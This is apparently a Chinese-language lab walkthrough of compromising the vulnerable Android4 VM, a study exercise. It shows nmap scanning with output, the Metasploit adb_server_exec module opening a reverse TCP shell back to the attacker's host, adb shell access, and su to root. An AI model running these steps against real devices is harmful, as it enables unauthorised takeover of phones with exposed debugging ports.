Android4 漏洞环境简单挑战

  • 2019 年 10 月 6 日
  • 笔记

今天给各位分享的是一个Android虚拟机环境的简单渗透。按照我们一般的渗透流程大概分为:

  • 端口扫描和IP发现
  • 使用adb_server_exec攻击端口8080代理
  • 使用ADB连接到设备。
  • 获取shell
  • 权限提升

开机是一个唯美的画面

要输入pin码!

首先进行ip地址发现,kali中使用netdiscover扫描

netdiscover  -r 192.168.0.0/24

然后使用nmap进行全面综合的扫描

nmap -p- -A 192.168.0.104  root@kali:~# nmap -p- -A 192.168.0.104  Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-08 17:49 CST  Nmap scan report for 192.168.0.104 (192.168.0.104)  Host is up (0.00051s latency).  Not shown: 65532 closed ports  PORT      STATE SERVICE  VERSION  5555/tcp  open  freeciv?  8080/tcp  open  http     PHP cli server 5.5 or later  |_http-open-proxy: Proxy might be redirecting requests  |_http-title: Deface by Good Hackers  22000/tcp open  ssh      Dropbear sshd 2014.66 (protocol 2.0)  | ssh-hostkey:  |_  1024 b3:98:65:98:fd:c0:64:fe:16:d6:30:36:aa:2b:ef:6b (DSA)  MAC Address: 00:0C:29:6F:D3:B3 (VMware)  Device type: general purpose  Running: Linux 3.X|4.X  OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4  OS details: Linux 3.2 - 4.9  Network Distance: 1 hop  Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel    TRACEROUTE  HOP RTT     ADDRESS  1   0.51 ms 192.168.0.104 (192.168.0.104)    OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  Nmap done: 1 IP address (1 host up) scanned in 181.05 seconds  root@kali:~# 

访问一下8080,没啥额外的信息

似乎是PHP的CLI,尝试了一下也没有找到啥关键内容。

继续回看nmap的扫描结果,发现22000是ssh服务,对应的软件是Dropbear sshd 2014.66 (protocol 2.0),用度娘搜了一下这个应用

再用exploitdb对应的searchsploit命令搜了一下

searchsploit Dropbear 

没法利用!最后就剩下一个5555端口应用了。

在Android系统中,TCP的5555旨在允许通过Android调试桥(ADB)管理设备,这是一种Android SDK功能,允许开发人员轻松地与设备通信并在其上运行命令或完全控制它们。

在我本地之前安装的Android开发环境中,我将一台老版本的手机root之后,连接到电脑上,配置好Android Studio环境(此处省略,可度娘简单了解一下),如下图所示:

可以看到,我们通过adb shell命令即可进入Android设备的交互模式中。所以在这里,开放的5555端口会被认为是一个服务端口,我们可以利用此端口的特性进行攻击。

在kali下开启msfconsole使用adb服务模块进行测试

msf5 > use exploit/android/adb/adb_server_exec  msf5 exploit(android/adb/adb_server_exec) > set rhosts 192.168.0.104  rhosts => 192.168.0.104  msf5 exploit(android/adb/adb_server_exec) > set lhost  192.168.0.105  lhost => 192.168.0.105  msf5 exploit(android/adb/adb_server_exec) > set lport  4567  lport => 4567  msf5 exploit(android/adb/adb_server_exec) > exploit    [*] Started reverse TCP handler on 192.168.0.105:4567  [*] 192.168.0.104:5555 - Connecting to device...  [+] 192.168.0.104:5555 - Connected to device:  device::ro.product.name=android_x86;ro.product.model=VMware Virtual Platform;ro.product.device=x86;  [+] 192.168.0.104:5555 - Command executed, response:   command=WRTE  arg0=0x1  arg1=0xb  data=    [*] 192.168.0.104:5555 - Command Stager progress - 100.00% done (1338/1338 bytes)

如果没有Windows的Android开发环境,那就在kali下连接,安装adb

apt-get install adb

安装完成之后连接,使用adb命令连接

root@kali:~# adb connect 192.168.0.104:5555  connected to 192.168.0.104:5555  root@kali:~# adb shell

使用su命令即可切换到root身份

在/data/root/目录中发现了设置的flag文件

至此,我们的利用过程完毕!

总结

手机还是不要轻易root,一般root之后,在局域网之内一旦被扫描到,很容易被攻击成功。